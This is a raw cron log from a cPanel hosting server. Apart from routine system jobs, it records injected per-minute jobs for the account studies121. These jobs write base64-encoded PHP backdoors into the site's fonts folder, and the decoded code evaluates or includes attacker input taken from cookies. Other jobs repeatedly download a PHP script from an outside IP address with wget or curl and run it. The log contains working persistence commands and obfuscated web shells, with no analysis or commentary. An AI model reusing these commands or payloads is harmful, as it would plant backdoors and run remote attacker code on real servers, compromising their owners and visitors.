Aug 31 17:55:01 ip-184-168-122-23 CROND[7132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:55:01 ip-184-168-122-23 CROND[7134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:55:01 ip-184-168-122-23 CROND[7133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:55:01 ip-184-168-122-23 CROND[7136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:55:01 ip-184-168-122-23 CROND[7135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:56:01 ip-184-168-122-23 CROND[7316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:56:01 ip-184-168-122-23 CROND[7318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:56:01 ip-184-168-122-23 CROND[7319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:56:01 ip-184-168-122-23 CROND[7320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:56:01 ip-184-168-122-23 CROND[7322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:57:01 ip-184-168-122-23 CROND[7405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:57:01 ip-184-168-122-23 CROND[7408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:57:01 ip-184-168-122-23 CROND[7409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:57:01 ip-184-168-122-23 CROND[7407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:58:01 ip-184-168-122-23 CROND[7488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:58:01 ip-184-168-122-23 CROND[7490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:58:01 ip-184-168-122-23 CROND[7491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:58:01 ip-184-168-122-23 CROND[7492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:58:01 ip-184-168-122-23 CROND[7493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:59:01 ip-184-168-122-23 CROND[7577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:59:01 ip-184-168-122-23 CROND[7578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:59:01 ip-184-168-122-23 CROND[7581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:59:01 ip-184-168-122-23 CROND[7580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:00:01 ip-184-168-122-23 CROND[7669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:00:01 ip-184-168-122-23 CROND[7675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:00:01 ip-184-168-122-23 CROND[7677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:00:01 ip-184-168-122-23 CROND[7681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:00:01 ip-184-168-122-23 CROND[7685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:00:01 ip-184-168-122-23 CROND[7683]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 18:00:01 ip-184-168-122-23 CROND[7684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:00:01 ip-184-168-122-23 CROND[7686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:00:01 ip-184-168-122-23 CROND[7687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:01:01 ip-184-168-122-23 CROND[7808]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7808]: starting 0anacron
Aug 31 18:01:01 ip-184-168-122-23 CROND[7809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:01:01 ip-184-168-122-23 CROND[7815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:01:01 ip-184-168-122-23 CROND[7817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 18:01:01 ip-184-168-122-23 CROND[7816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:01:01 ip-184-168-122-23 CROND[7819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7828]: finished 0anacron
Aug 31 18:02:01 ip-184-168-122-23 CROND[7912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:02:01 ip-184-168-122-23 CROND[7914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:02:01 ip-184-168-122-23 CROND[7916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:02:01 ip-184-168-122-23 CROND[7915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:02:01 ip-184-168-122-23 CROND[7917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:03:01 ip-184-168-122-23 CROND[8002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:03:01 ip-184-168-122-23 CROND[8003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:03:01 ip-184-168-122-23 CROND[8005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:03:01 ip-184-168-122-23 CROND[8006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:04:01 ip-184-168-122-23 CROND[8172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:04:01 ip-184-168-122-23 CROND[8174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:04:01 ip-184-168-122-23 CROND[8175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:04:01 ip-184-168-122-23 CROND[8176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:04:01 ip-184-168-122-23 CROND[8177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:05:01 ip-184-168-122-23 CROND[8268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:05:01 ip-184-168-122-23 CROND[8270]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 18:05:01 ip-184-168-122-23 CROND[8274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:05:01 ip-184-168-122-23 CROND[8275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:05:01 ip-184-168-122-23 CROND[8276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:05:01 ip-184-168-122-23 CROND[8273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:05:01 ip-184-168-122-23 CROND[8272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:06:01 ip-184-168-122-23 CROND[8370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:06:01 ip-184-168-122-23 CROND[8373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:06:01 ip-184-168-122-23 CROND[8374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:06:01 ip-184-168-122-23 CROND[8372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:06:01 ip-184-168-122-23 CROND[8375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
